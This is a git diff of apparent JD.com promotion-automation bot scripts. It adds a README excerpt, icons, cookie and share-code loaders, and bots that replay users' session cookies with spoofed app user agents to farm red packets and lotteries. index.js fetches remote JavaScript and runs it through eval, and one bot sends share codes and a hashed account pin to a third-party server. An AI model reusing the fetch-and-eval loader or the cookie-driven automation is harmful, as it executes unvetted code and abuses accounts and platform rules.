默认是 | 非必须 | 填`false`可关闭此助力 | + + +##### 互助码的填写规则 + + > 互助码如何获取:长期活动可在jd_get_share_code.js里面查找,短期活动需运行相应脚本后,在日志里面可以找到。 + +同一个京东账号的好友互助码用@隔开,不同京东账号互助码用&或者换行隔开,下面给一个文字示例和具体互助码示例说明 + +两个账号各两个互助码的文字示例: + + ``` +京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 + ``` + + 两个账号各两个互助码的真实示例: + ``` +0a74407df5df4fa99672a037eec61f7e@dbb21614667246fabcfd9685b6f448f3&6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6&6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6 + ``` + + + +#### 取关店铺环境变量的说明 + + > 环境变量内容的意思依次是`是否取关全部商品(0表示一个都不)`,`是否取关全部店铺数(0表示一个都不)`,`遇到此商品不再进行取关`,`遇到此店铺不再进行取关` + +例如1:不要取关任何商品和店铺,则输入`0&0` +例如2:我想商品遇到关键字 `iPhone12` 停止取关,店铺遇到 `Apple京东自营旗舰店` 不再取关,则输入`10&10&iPhone12&Apple京东自营旗舰店`(前面两个参数非0即可) + +#### 关于脚本推送通知频率 + + > 如果你填写了推送通知方式中的某一种通知所需环境变量,那么脚本通知情况如下: + + > 目前默认只有jd_fruit.js,jd_pet.js,jd_bean_sign.js,jd_bean_change.js,jd_jxnc.js这些脚本(默认)每次运行后都通知 + + ``` +其余的脚本平常运行都是不通知,只有在京东cookie失效以及达到部分条件后,才会推送通知 + ``` + diff --git a/icon/DD_bot.png b/icon/DD_bot.png new file mode 100644 index 0000000000..d3cdc58e70 Binary files /dev/null and b/icon/DD_bot.png differ diff --git a/icon/Snipaste_2020-08-28_09-31-42.png b/icon/Snipaste_2020-08-28_09-31-42.png new file mode 100644 index 0000000000..073f989d5f Binary files /dev/null and b/icon/Snipaste_2020-08-28_09-31-42.png differ diff --git a/icon/TG_PUSH1.png b/icon/TG_PUSH1.png new file mode 100644 index 0000000000..0e2c8a1482 Binary files /dev/null and b/icon/TG_PUSH1.png differ diff --git a/icon/TG_PUSH2.png b/icon/TG_PUSH2.png new file mode 100644 index 0000000000..429d784e31 Binary files /dev/null and b/icon/TG_PUSH2.png differ diff --git a/icon/TG_PUSH3.png b/icon/TG_PUSH3.png new file mode 100644 index 0000000000..e213067d19 Binary files /dev/null and b/icon/TG_PUSH3.png differ diff --git a/icon/action1.png b/icon/action1.png new file mode 100644 index 0000000000..ca1ab739c5 Binary files /dev/null and b/icon/action1.png differ diff --git a/icon/action2.png b/icon/action2.png new file mode 100644 index 0000000000..787495856f Binary files /dev/null and b/icon/action2.png differ diff --git a/icon/action3.png b/icon/action3.png new file mode 100644 index 0000000000..32b2db37d3 Binary files /dev/null and b/icon/action3.png differ diff --git a/icon/bark.jpg b/icon/bark.jpg new file mode 100644 index 0000000000..0cbdadf0a4 Binary files /dev/null and b/icon/bark.jpg differ diff --git a/icon/bean_sign_simple.jpg b/icon/bean_sign_simple.jpg new file mode 100644 index 0000000000..1c01c7c241 Binary files /dev/null and b/icon/bean_sign_simple.jpg differ diff --git a/icon/disable-action.jpg b/icon/disable-action.jpg new file mode 100644 index 0000000000..93109081b5 Binary files /dev/null and b/icon/disable-action.jpg differ diff --git a/icon/fork.png b/icon/fork.png new file mode 100644 index 0000000000..46b5b7206e Binary files /dev/null and b/icon/fork.png differ diff --git a/icon/git1.jpg b/icon/git1.jpg new file mode 100644 index 0000000000..aeaf461f3a Binary files /dev/null and b/icon/git1.jpg differ diff --git a/icon/git10.jpg b/icon/git10.jpg new file mode 100644 index 0000000000..d0dd7d8c35 Binary files /dev/null and b/icon/git10.jpg differ diff --git a/icon/git11.jpg b/icon/git11.jpg new file mode 100644 index 0000000000..313c456013 Binary files /dev/null and b/icon/git11.jpg differ diff --git a/icon/git12.jpg b/icon/git12.jpg new file mode 100644 index 0000000000..e8809198e6 Binary files /dev/null and b/icon/git12.jpg differ diff --git a/icon/git13.jpg b/icon/git13.jpg new file mode 100644 index 0000000000..65c0f69bbf Binary files /dev/null and b/icon/git13.jpg differ diff --git a/icon/git14.jpg b/icon/git14.jpg new file mode 100644 index 0000000000..bd7f377128 Binary files /dev/null and b/icon/git14.jpg differ diff --git a/icon/git2.jpg b/icon/git2.jpg new file mode 100644 index 0000000000..7cb7642c0e Binary files /dev/null and b/icon/git2.jpg differ diff --git a/icon/git3.jpg b/icon/git3.jpg new file mode 100644 index 0000000000..603c79c558 Binary files /dev/null and b/icon/git3.jpg differ diff --git a/icon/git4.jpg b/icon/git4.jpg new file mode 100644 index 0000000000..ae2f4279ab Binary files /dev/null and b/icon/git4.jpg differ diff --git a/icon/git5.jpg b/icon/git5.jpg new file mode 100644 index 0000000000..3bfa3fab97 Binary files /dev/null and b/icon/git5.jpg differ diff --git a/icon/git6.jpg b/icon/git6.jpg new file mode 100644 index 0000000000..8bf8551ef8 Binary files /dev/null and b/icon/git6.jpg differ diff --git a/icon/git7.png b/icon/git7.png new file mode 100644 index 0000000000..d40f2c0bbc Binary files /dev/null and b/icon/git7.png differ diff --git a/icon/git8.jpg b/icon/git8.jpg new file mode 100644 index 0000000000..db30fa4487 Binary files /dev/null and b/icon/git8.jpg differ diff --git a/icon/git9.jpg b/icon/git9.jpg new file mode 100644 index 0000000000..e44757e903 Binary files /dev/null and b/icon/git9.jpg differ diff --git a/icon/iCloud1.png b/icon/iCloud1.png new file mode 100644 index 0000000000..669ac59c30 Binary files /dev/null and b/icon/iCloud1.png differ diff --git a/icon/iCloud2.png b/icon/iCloud2.png new file mode 100644 index 0000000000..fae4485762 Binary files /dev/null and b/icon/iCloud2.png differ diff --git a/icon/iCloud3.png b/icon/iCloud3.png new file mode 100644 index 0000000000..dcb6b0d00e Binary files /dev/null and b/icon/iCloud3.png differ diff --git a/icon/iCloud4.png b/icon/iCloud4.png new file mode 100644 index 0000000000..41e852b351 Binary files /dev/null and b/icon/iCloud4.png differ diff --git a/icon/iCloud5.png b/icon/iCloud5.png new file mode 100644 index 0000000000..d5651835db Binary files /dev/null and b/icon/iCloud5.png differ diff --git a/icon/iCloud6.png b/icon/iCloud6.png new file mode 100644 index 0000000000..8210a7f306 Binary files /dev/null and b/icon/iCloud6.png differ diff --git a/icon/iCloud7.png b/icon/iCloud7.png new file mode 100644 index 0000000000..6fd538b26b Binary files /dev/null and b/icon/iCloud7.png differ diff --git a/icon/iCloud8.png b/icon/iCloud8.png new file mode 100644 index 0000000000..3f0d05e0ee Binary files /dev/null and b/icon/iCloud8.png differ diff --git a/icon/jd1.jpg b/icon/jd1.jpg new file mode 100644 index 0000000000..33a9f8f5bb Binary files /dev/null and b/icon/jd1.jpg differ diff --git a/icon/jd2.jpg b/icon/jd2.jpg new file mode 100644 index 0000000000..cd6f8391fb Binary files /dev/null and b/icon/jd2.jpg differ diff --git a/icon/jd3.jpg b/icon/jd3.jpg new file mode 100644 index 0000000000..264ea71abd Binary files /dev/null and b/icon/jd3.jpg differ diff --git a/icon/jd4.jpg b/icon/jd4.jpg new file mode 100644 index 0000000000..7f6f4c8a91 Binary files /dev/null and b/icon/jd4.jpg differ diff --git a/icon/jd5.png b/icon/jd5.png new file mode 100644 index 0000000000..f7972667ce Binary files /dev/null and b/icon/jd5.png differ diff --git a/icon/jd6.png b/icon/jd6.png new file mode 100644 index 0000000000..a49b69dbc0 Binary files /dev/null and b/icon/jd6.png differ diff --git a/icon/jd7.png b/icon/jd7.png new file mode 100644 index 0000000000..d05a36c86e Binary files /dev/null and b/icon/jd7.png differ diff --git a/icon/jd8.png b/icon/jd8.png new file mode 100644 index 0000000000..d763579cfe Binary files /dev/null and b/icon/jd8.png differ diff --git a/icon/jd_moneyTree.png b/icon/jd_moneyTree.png new file mode 100644 index 0000000000..69024fac8f Binary files /dev/null and b/icon/jd_moneyTree.png differ diff --git a/icon/jd_pet.png b/icon/jd_pet.png new file mode 100644 index 0000000000..bb231e4a9e Binary files /dev/null and b/icon/jd_pet.png differ diff --git a/icon/qh1.png b/icon/qh1.png new file mode 100644 index 0000000000..56bc389c29 Binary files /dev/null and b/icon/qh1.png differ diff --git a/icon/qh2.png b/icon/qh2.png new file mode 100644 index 0000000000..1f337ad971 Binary files /dev/null and b/icon/qh2.png differ diff --git a/icon/qh3.png b/icon/qh3.png new file mode 100644 index 0000000000..d0b63d14d5 Binary files /dev/null and b/icon/qh3.png differ diff --git a/icon/txy.png b/icon/txy.png new file mode 100644 index 0000000000..2c58d391bf Binary files /dev/null and b/icon/txy.png differ diff --git a/index.js b/index.js new file mode 100644 index 0000000000..525cdf83ef --- /dev/null +++ b/index.js @@ -0,0 +1,40 @@ +//'use strict'; +exports.main_handler = async (event, context, callback) => { + try { + const { TENCENTSCF_SOURCE_TYPE, TENCENTSCF_SOURCE_URL } = process.env + //如果想在一个定时触发器里面执行多个js文件需要在定时触发器的【附加信息】里面填写对应的名称,用 & 链接 + //例如我想一个定时触发器里执行jd_speed.js和jd_bean_change.js,在定时触发器的【附加信息】里面就填写 jd_speed&jd_bean_change + for (const v of event["Message"].split("&")) { + console.log(v); + var request = require('request'); + switch (TENCENTSCF_SOURCE_TYPE) { + case 'local': + //1.执行自己上传的js文件 + delete require.cache[require.resolve('./'+v+'.js')]; + require('./'+v+'.js') + break; + case 'git': + //2.执行github远端的js文件(因github的raw类型的文件被墙,此方法云函数不推荐) + request(`https://raw.githubusercontent.com/xxx/jd_scripts/master/${v}.js`, function (error, response, body) { + eval(response.body) + }) + break; + case 'custom': + //3.执行自定义远端js文件网址 + if (!TENCENTSCF_SOURCE_URL) return console.log('自定义模式需要设置TENCENTSCF_SOURCE_URL变量') + request(`${TENCENTSCF_SOURCE_URL}${v}.js`, function (error, response, body) { + eval(response.body) + }) + break; + default: + //4.执行国内gitee远端的js文件(如果部署在国内节点,选择1或3。默认使用gitee的方式) + request(`${v}.js`, function (error, response, body) { + eval(response.body) + }) + break; + } + } + } catch (e) { + console.error(e) + } +} diff --git a/jdCookie.js b/jdCookie.js new file mode 100644 index 0000000000..98d83c3f9e --- /dev/null +++ b/jdCookie.js @@ -0,0 +1,32 @@ +/* +此文件为Node.js专用。其他用户请忽略 + */ +//此处填写京东账号cookie。 +let CookieJDs = [ +] +// 判断环境变量里面是否有京东ck +if (process.env.JD_COOKIE) { + if (process.env.JD_COOKIE.indexOf('&') > -1) { + CookieJDs = process.env.JD_COOKIE.split('&'); + } else if (process.env.JD_COOKIE.indexOf('\n') > -1) { + CookieJDs = process.env.JD_COOKIE.split('\n'); + } else { + CookieJDs = [process.env.JD_COOKIE]; + } +} +if (JSON.stringify(process.env).indexOf('GITHUB')>-1) { + console.log(`请勿使用github action运行此脚本,无论你是从你自己的私库还是其他哪里拉取的源代码,都会导致我被封号\n`); + !(async () => { + await require('./sendNotify').sendNotify('提醒', `请勿使用github action、滥用github资源会封我仓库以及账号`) + await process.exit(0); + })() +} +CookieJDs = [...new Set(CookieJDs.filter(item => !!item))] +console.log(`\n====================共${CookieJDs.length}个京东账号Cookie=========\n`); +console.log(`==================脚本执行- 北京时间(UTC+8):${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}=====================\n`) +if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +for (let i = 0; i < CookieJDs.length; i++) { + if (!CookieJDs[i].match(/pt_pin=(.+?);/) || !CookieJDs[i].match(/pt_key=(.+?);/)) console.log(`\n提示:京东cookie 【${CookieJDs[i]}】填写不规范,可能会影响部分脚本正常使用。正确格式为: pt_key=xxx;pt_pin=xxx;(分号;不可少)\n`); + const index = (i + 1 === 1) ? '' : (i + 1); + exports['CookieJD' + index] = CookieJDs[i].trim(); +} diff --git a/jdDreamFactoryShareCodes.js b/jdDreamFactoryShareCodes.js new file mode 100644 index 0000000000..73dee7edba --- /dev/null +++ b/jdDreamFactoryShareCodes.js @@ -0,0 +1,35 @@ +/* +京喜工厂互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let shareCodes = [ +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.DREAM_FACTORY_SHARE_CODES.length > 0 && !process.env.DREAM_FACTORY_SHARE_CODES) { +// process.env.DREAM_FACTORY_SHARE_CODES = logShareCodes.DREAM_FACTORY_SHARE_CODES.join('&'); +// } + +// 判断环境变量里面是否有京喜工厂互助码 +if (process.env.DREAM_FACTORY_SHARE_CODES) { + if (process.env.DREAM_FACTORY_SHARE_CODES.indexOf('&') > -1) { + console.log(`您的互助码选择的是用&隔开\n`) + shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split('&'); + } else if (process.env.DREAM_FACTORY_SHARE_CODES.indexOf('\n') > -1) { + console.log(`您的互助码选择的是用换行隔开\n`) + shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split('\n'); + } else { + shareCodes = process.env.DREAM_FACTORY_SHARE_CODES.split(); + } +} else { + console.log(`由于您环境变量(DREAM_FACTORY_SHARE_CODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < shareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['shareCodes' + index] = shareCodes[i]; +} diff --git a/jdFactoryShareCodes.js b/jdFactoryShareCodes.js new file mode 100644 index 0000000000..e84d3f427b --- /dev/null +++ b/jdFactoryShareCodes.js @@ -0,0 +1,35 @@ +/* +东东工厂互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let shareCodes = [ +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.DDFACTORY_SHARECODES.length > 0 && !process.env.DDFACTORY_SHARECODES) { +// process.env.DDFACTORY_SHARECODES = logShareCodes.DDFACTORY_SHARECODES.join('&'); +// } + +// 判断环境变量里面是否有东东工厂互助码 +if (process.env.DDFACTORY_SHARECODES) { + if (process.env.DDFACTORY_SHARECODES.indexOf('&') > -1) { + console.log(`您的互助码选择的是用&隔开\n`) + shareCodes = process.env.DDFACTORY_SHARECODES.split('&'); + } else if (process.env.DDFACTORY_SHARECODES.indexOf('\n') > -1) { + console.log(`您的互助码选择的是用换行隔开\n`) + shareCodes = process.env.DDFACTORY_SHARECODES.split('\n'); + } else { + shareCodes = process.env.DDFACTORY_SHARECODES.split(); + } +} else { + console.log(`由于您环境变量(DDFACTORY_SHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < shareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['shareCodes' + index] = shareCodes[i]; +} \ No newline at end of file diff --git a/jdFruitShareCodes.js b/jdFruitShareCodes.js new file mode 100644 index 0000000000..151215c5e5 --- /dev/null +++ b/jdFruitShareCodes.js @@ -0,0 +1,35 @@ +/* +东东农场互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写京东东农场的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let FruitShareCodes = [ +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.FRUITSHARECODES.length > 0 && !process.env.FRUITSHARECODES) { +// process.env.FRUITSHARECODES = logShareCodes.FRUITSHARECODES.join('&'); +// } + +// 判断github action里面是否有东东农场互助码 +if (process.env.FRUITSHARECODES) { + if (process.env.FRUITSHARECODES.indexOf('&') > -1) { + console.log(`您的东东农场互助码选择的是用&隔开\n`) + FruitShareCodes = process.env.FRUITSHARECODES.split('&'); + } else if (process.env.FRUITSHARECODES.indexOf('\n') > -1) { + console.log(`您的东东农场互助码选择的是用换行隔开\n`) + FruitShareCodes = process.env.FRUITSHARECODES.split('\n'); + } else { + FruitShareCodes = process.env.FRUITSHARECODES.split(); + } +} else { + console.log(`由于您环境变量(FRUITSHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < FruitShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['FruitShareCode' + index] = FruitShareCodes[i]; +} diff --git a/jdJxncShareCodes.js b/jdJxncShareCodes.js new file mode 100644 index 0000000000..717ca2f3d9 --- /dev/null +++ b/jdJxncShareCodes.js @@ -0,0 +1,35 @@ +/* +京喜农场助力码 +此助力码要求种子 active 相同才能助力,多个账号的话可以种植同样的种子,如果种子不同的话,会自动跳过使用云端助力 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写京京喜农场的好友码。 +// 同一个京东账号的好友助力码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +// 注意:京喜农场 种植种子发生变化的时候,互助码也会变!! +// 注意:京喜农场 种植种子发生变化的时候,互助码也会变!! +// 注意:京喜农场 种植种子发生变化的时候,互助码也会变!! +// 每个账号 shareCdoe 是一个 json,示例如下 +// {"smp":"22bdadsfaadsfadse8a","active":"jdnc_1_btorange210113_2","joinnum":"1"} +let JxncShareCodes = [ +] +// 判断github action里面是否有京喜农场助力码 +if (process.env.JXNC_SHARECODES) { + if (process.env.JXNC_SHARECODES.indexOf('&') > -1) { + console.log(`您的京喜农场助力码选择的是用&隔开\n`) + JxncShareCodes = process.env.JXNC_SHARECODES.split('&'); + } else if (process.env.JXNC_SHARECODES.indexOf('\n') > -1) { + console.log(`您的京喜农场助力码选择的是用换行隔开\n`) + JxncShareCodes = process.env.JXNC_SHARECODES.split('\n'); + } else { + JxncShareCodes = process.env.JXNC_SHARECODES.split(); + } +} else { + console.log(`由于您环境变量里面(JXNC_SHARECODES)未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +JxncShareCodes = JxncShareCodes.filter(item => !!item); +for (let i = 0; i < JxncShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['JxncShareCode' + index] = JxncShareCodes[i]; +} diff --git a/jdPetShareCodes.js b/jdPetShareCodes.js new file mode 100644 index 0000000000..04fd0a119c --- /dev/null +++ b/jdPetShareCodes.js @@ -0,0 +1,35 @@ +/* +东东萌宠互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let PetShareCodes = [ +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.PETSHARECODES.length > 0 && !process.env.PETSHARECODES) { +// process.env.PETSHARECODES = logShareCodes.PETSHARECODES.join('&'); +// } + +// 判断github action里面是否有东东萌宠互助码 +if (process.env.PETSHARECODES) { + if (process.env.PETSHARECODES.indexOf('&') > -1) { + console.log(`您的东东萌宠互助码选择的是用&隔开\n`) + PetShareCodes = process.env.PETSHARECODES.split('&'); + } else if (process.env.PETSHARECODES.indexOf('\n') > -1) { + console.log(`您的东东萌宠互助码选择的是用换行隔开\n`) + PetShareCodes = process.env.PETSHARECODES.split('\n'); + } else { + PetShareCodes = process.env.PETSHARECODES.split(); + } +} else { + console.log(`由于您环境变量(PETSHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < PetShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['PetShareCode' + index] = PetShareCodes[i]; +} \ No newline at end of file diff --git a/jdPlantBeanShareCodes.js b/jdPlantBeanShareCodes.js new file mode 100644 index 0000000000..d15c2f9861 --- /dev/null +++ b/jdPlantBeanShareCodes.js @@ -0,0 +1,35 @@ +/* +京东种豆得豆互助码 +此文件为Node.js专用。其他用户请忽略 +支持京东N个账号 + */ +//云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。 +// 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例 +// 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 +let PlantBeanShareCodes = [ +] + +// 从日志获取互助码 +// const logShareCodes = require('./utils/jdShareCodes'); +// if (logShareCodes.PLANT_BEAN_SHARECODES.length > 0 && !process.env.PLANT_BEAN_SHARECODES) { +// process.env.PLANT_BEAN_SHARECODES = logShareCodes.PLANT_BEAN_SHARECODES.join('&'); +// } + +// 判断github action里面是否有种豆得豆互助码 +if (process.env.PLANT_BEAN_SHARECODES) { + if (process.env.PLANT_BEAN_SHARECODES.indexOf('&') > -1) { + console.log(`您的种豆互助码选择的是用&隔开\n`) + PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split('&'); + } else if (process.env.PLANT_BEAN_SHARECODES.indexOf('\n') > -1) { + console.log(`您的种豆互助码选择的是用换行隔开\n`) + PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split('\n'); + } else { + PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split(); + } +} else { + console.log(`由于您环境变量(PLANT_BEAN_SHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`) +} +for (let i = 0; i < PlantBeanShareCodes.length; i++) { + const index = (i + 1 === 1) ? '' : (i + 1); + exports['PlantBeanShareCodes' + index] = PlantBeanShareCodes[i]; +} diff --git a/jd_88hb.ts b/jd_88hb.ts new file mode 100644 index 0000000000..7a0d6def19 --- /dev/null +++ b/jd_88hb.ts @@ -0,0 +1,149 @@ +/** + * 京喜->领88元红包 + * 先内部,后助力HW.ts + * cron: 5 0,6,18 * * * + */ + +import {requireConfig, wait, h5st, getBeanShareCode, getFarmShareCode, getshareCodeHW, randomString} from "./TS_USER_AGENTS" +import axios from "axios" +import {Md5} from "ts-md5" +import {format} from 'date-fns' + +const token = require('./utils/jd_jxmc.js').token + +let cookie: string = '', res: any = '', UserName: string, index: number, UA: string = '' +let shareCodesSelf: string[] = [], shareCodes: string[] = [], shareCodesHW: string[] = [], jxToken: any +let HW_Priority: boolean = true +/** + * CK1助力顺序 + * HW_Priority: boolean + * true HW.ts -> 内部 + * false 内部 -> HW.ts + */ +process.env.HW_Priority === 'false' ? HW_Priority = false : '' + +!(async () => { + let cookiesArr: any = await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName}\n`) + jxToken = await token(cookie) + + res = await api('GetUserInfo', 'activeId,channel,phoneid,publishFlag,stepreward_jstoken,timestamp,userDraw', {}) + let strUserPin: string = res.Data.strUserPin, dwHelpedTimes: number = res.Data.dwHelpedTimes + console.log('收到助力:', dwHelpedTimes) + console.log('助力码:', strUserPin) + shareCodesSelf.push(strUserPin) + await makeShareCodes(strUserPin) + await wait(2000) + res = await api('JoinActive', 'activeId,channel,phoneid,publishFlag,stepreward_jstoken,timestamp') + res.iRet === 0 ? console.log('JoinActive: 成功') : console.log('JoinActive:', res.sErrMsg) + await wait(1000) + } + + console.log('内部助力码:', shareCodesSelf) + + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + jxToken = await token(cookie) + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + + if (shareCodesHW.length === 0) { + shareCodesHW = await getshareCodeHW('88hb') + } + if (i === 0 && HW_Priority) { + shareCodes = Array.from(new Set([...shareCodesHW, ...shareCodesSelf])) + } else { + shareCodes = Array.from(new Set([...shareCodesSelf, ...shareCodesHW])) + } + for (let code of shareCodes) { + console.log(`账号 ${UserName} 去助力 ${code}`) + res = await api('EnrollFriend', 'activeId,channel,joinDate,phoneid,publishFlag,strPin,timestamp', {joinDate: format(Date.now(), 'yyyyMMdd'), strPin: code}) + await wait(5000) + if (res.iRet === 0) { + console.log('成功') + } else if (res.iRet === 2015) { + console.log('上限') + break + } else if (res.iRet === 2016) { + console.log('火爆') + break + } else { + console.log('其他错误:', res) + } + } + } + + // 拆红包 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + jxToken = await token(cookie) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName} 拆红包\n`) + + res = await api('GetUserInfo', 'activeId,channel,phoneid,publishFlag,stepreward_jstoken,timestamp,userDraw', {userDraw: 1}) + let strUserPin: string = res.Data.strUserPin, dwHelpedTimes: number = res.Data.dwHelpedTimes + await wait(2000) + + for (let t of res.Data.gradeConfig) { + if (dwHelpedTimes >= t.dwHelpTimes) { + res = await api('DoGradeDraw', 'activeId,channel,grade,phoneid,publishFlag,stepreward_jstoken,strPin,timestamp', {grade: t.dwGrade, strPin: strUserPin}) + if (res.iRet === 2018) + console.log(`等级${t.dwGrade}红包已打开过`) + else if (res.iRet === 0) + console.log(`等级${t.dwGrade}红包打开成功`) + else { + console.log('其他错误', res.sErrMsg ?? JSON.stringify(res)) + break + } + await wait(15000) + } else { + break + } + } + } +})() + +interface Params { + userDraw?: number, + grade?: number, + joinDate?: string, + strPin?: string, +} + +async function api(fn: string, stk: string, params: Params = {}) { + let url: string = `https://m.jingxi.com/cubeactive/steprewardv3/${fn}?activeId=525597&publishFlag=1&channel=7&_stk=${encodeURIComponent(stk)}&_ste=1&_=${Date.now()}&sceneval=2&stepreward_jstoken=${jxToken['farm_jstoken']}×tamp=${jxToken['timestamp']}&phoneid=${jxToken['phoneid']}` + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random() * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + url = h5st(url, stk, params, 10010) + try { + let {data}: any = await axios.get(url, { + headers: { + 'User-Agent': UA, + 'Referer': 'https://st.jingxi.com/pingou/jxmc/index.html', + 'Host': 'm.jingxi.com', + 'Cookie': cookie + } + }) + if (typeof data === 'string') + return JSON.parse(data.replace(/jsonpCBK.?\(/, '').split('\n')[0]) + return data + } catch (e: any) { + return {} + } +} + +async function makeShareCodes(code: string) { + try { + let bean: string = await getBeanShareCode(cookie) + let farm: string = await getFarmShareCode(cookie) + let pin: string = Md5.hashStr(cookie.match(/pt_pin=([^;]*)/)![1]) + let {data}: any = await axios.get(`https://api.jdsharecode.xyz/api/autoInsert/hb88?sharecode=${code}&bean=${bean}&farm=${farm}&pin=${pin}`) + console.log(data.message) + } catch (e) { + console.log('自动提交失败') + console.log(e) + } +} \ No newline at end of file diff --git a/jd_IndustryLottery.ts b/jd_IndustryLottery.ts new file mode 100644 index 0000000000..21a481df8f --- /dev/null +++ b/jd_IndustryLottery.ts @@ -0,0 +1,82 @@ +import axios from 'axios'; +import {requireConfig, TotalBean, wait} from './TS_USER_AGENTS'; +import * as dotenv from 'dotenv'; + +const notify = require('./sendNotify') +const USER_AGENT = 'jdpingou' +dotenv.config() +let cookie: string = '', res: any = ''; + +let UserName: string, index: number; +!(async () => { + let cookiesArr: any = await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1; + let {isLogin, nickName}: any = await TotalBean(cookie) + if (!isLogin) { + notify.sendNotify(__filename.split('/').pop(), `cookie已失效\n京东账号${index}:${nickName || UserName}`) + continue + } + console.log(`\n开始【京东账号${index}】${nickName || UserName}\n`); + + for (let k = 0; k < 10; k++) { + res = await getTask() + for (let t of res.data.taskConfig) { + if (t.itemCount !== t.finishCount) { + let body = { + "configCode": "e1a458713a854e2abb1db2772e540532", + "taskType": t.taskType, + "itemId": t.taskItem.itemId + } + res = await api('doTask', body) + console.log(res) + await wait(2000) + res = await api("getReward", body) + console.log(res) + + await wait(t.viewTime * 1000) + break + } + } + await wait(3000) + } + + res = await getTask() + console.log(`有${res.data.chanceLeft}次抽奖机会`) + for (let j = 0; j < res.data.chanceLeft; j++) { + await join() + await wait(5000) + } + } +})() + +async function api(fn: string, body: any) { + let {data}: any = await axios.post(`https://jdjoy.jd.com/module/task/draw/${fn}`, body, { + headers: { + 'Host': 'jdjoy.jd.com', + 'Referer': 'https://prodev.m.jd.com/mall/active/ebLz35DwiVumB6pcrGkqmnhCgmC/index.html', + 'User-Agent': USER_AGENT, + 'Origin': 'https://prodev.m.jd.com', + 'Content-Type': 'application/json', + 